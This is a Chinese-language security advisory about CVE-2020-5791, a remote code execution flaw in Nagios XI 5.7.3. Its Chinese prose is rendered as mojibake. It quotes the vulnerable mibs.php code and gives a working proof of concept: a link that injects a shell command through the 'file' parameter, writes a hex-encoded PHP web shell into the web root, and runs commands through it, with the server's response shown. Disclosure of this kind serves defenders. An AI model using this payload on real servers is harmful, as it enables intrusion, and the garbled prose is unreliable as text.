CVE-2020-5791 | Nagios XIÔ¶³Ì´úÂëÖ´Ðзì϶¹«¸æ

°ä²¼¹¦·ò 2020-10-28

0x00 ·ì϶¸ÅÊö

CNVD   ID

CVE-2020-5791

ʱ    ¼ä

2020-10-28

Àà    ÐÍ

RCE

µÈ    ¼¶

¸ßΣ

Ô¶³ÌÀûÓÃ

ÊÇ

Ó°ÏìÁìÓò

Nagios XI 5.7.3

 

Nagios XIÊÇÒ»¸ö³ÉÁ¢ÔÚNagiosÖ÷ÌâÉÏµÄÆóÒµ¼¶¼à²âºÍ±¨¾¯¹æ»®µÄ¿ªÔ´×é¼þ ¡£Ö°ÄÜÔ̺¬PHPÍøÕ¾½çÃæ¡¢×ۺϲû·¢Í¼¡¢¿É¶¨ÔìµÄÒDZí°å¡¢ÍøÂç½á¹¹¡¢ÅäÖÃGUI(ͼÐÎÓû§½Ó¿Ú)¡¢Óû§ÖÎÀíµÈ ¡£

 

0x01 ·ì϶ÏêÇé

image.png

 

2020Äê10ÔÂ15ÈÕ£¬Nagios¿ª·¢ÍŶӰ䲼°²È«²¼¸æ³ÆNagios XI 5.7.3ÖдæÔÚ¶à¸ö°²È«·ì϶£¬ÆäÖнÏΪÑϳÁµÄÊÇÒ»¸öÔ¶³Ì´úÂëÖ´Ðзì϶£¨CVE-2020-5791£©£¬ÆäCVSSÆÀ·Ö7.2 ¡£

¸Ã·ì϶´æÔÚÓÚ/nagiosxi/admin/mibs.phpÎļþÖÐ ¡£¹¥»÷Õß¿ÉÄÜÀûÓô˷ì϶ÒÔ¡°apache¡±Óû§Ö´ÐÐËÁÒâºÅÁî ¡£¾ßÌåÀ´Ëµ£¬µ±HTTP²ÎÊý¡°mode¡±µÅ×Ú¡°undo-processing¡±²¢ÇÒ¡°type¡±²ÎÊýµÅ×Ú1ʱ£¬¡°file¡±²ÎÊý×îÖÕ½«±»´«µÝ¸øPHP exec£¨£©º¯Êý£¬¶ø²»Ðè½øÐÐËãÕÊ ¡£ÒÔÏ´úÂëÏÔʾÁËÕâÒ»µã:

function route_request()

{

    global $request;

 

    $mode = '';

    if (isset($request['mode'])) {

        $mode = $request['mode'];   

    }

 

    switch ($mode) {

        ...

        case 'undo-processing':

            undo_process_single(); // VULN

            break;

       ...

    }  

...

}

 

function undo_process_single() {

    // Mode needs to be based on processing type of MIB, not on 'current' processing type

 

    $file = grab_request_var('file', '');

    $name = grab_request_var('name', '');

    $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        show_mibs(false, _("No processing to be undone"));

    }

 

    undo_processing($file, $name, $current_type);  // VULN

 

    show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));

}

 

function undo_processing($file, $name, $current_type) {

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        return;

    }

 

    $current_conf_path = get_processing_destination($current_type) . '/' . $file;

 

    remove_snmpttconvertmib_files(array($file));

 

    if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {

        $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";

        exec($get_event_names_cmd, $all_events, $rc); // VULN

        $all_events = array_unique($all_events);

 

        remove_from_snmptt_conf($all_events);

    }

 

    mibs_revert_db_entry($name);

}

 

 

´Ë·ì϶µÄPOCÈçÏ£º

¹¥»÷Õß½«ÒÔÏÂÁ´½Ó·¢Ë͸øNagios XIÖÎÀíÔ±£º

http://192.168.x.x/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php

ÖÎÀíÔ±µ¥»÷Á´½Óºó£¬½«´´½¨scooby.phpÎļþ£¬¹¥»÷ÕßÄܹ»½Ó¼ûд´½¨µÄPHP½ÅÕý±¾Ö´Ðиü¶àºÅÁî ¡£

http://192.168.x.x/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami

 

°ÑÎÈÏìÓ¦Öеġ°apache¡±£º

HTTP/1.1 200 OK

Date: Thu, 24 Sep 2020 21:09:56 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-Length: 19

Connection: close

Content-Type: text/html; charset=UTF-8

 

apache

 --no-insert

 

0x02 ´ëÖý¨Òé

Éý¼¶µ½×îа汾 ¡£

ÏÂÔØÁ´½Ó£º

https://www.nagios.com/downloads/nagios-xi/

 

0x03 ²Î¿¼Á´½Ó

https://www.nagios.com/products/security/

https://www.nagios.com/downloads/nagios-xi/change-log/

https://zh-cn.tenable.com/security/research/tra-2020-58?tns_redirect=true

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5791

 

0x04 ¹¦·òÏß

2020-10-15  Nagios°ä²¼°²È«²¼¸æ

2020-10-28  VSRC°ä²¼°²È«¹«¸æ

 

0x05 ¸½Â¼

 

CVSSÆÀ·Ö³ß¶È¹ÙÍø£ºhttp://www.first.org/cvss/

 

 

 

image.png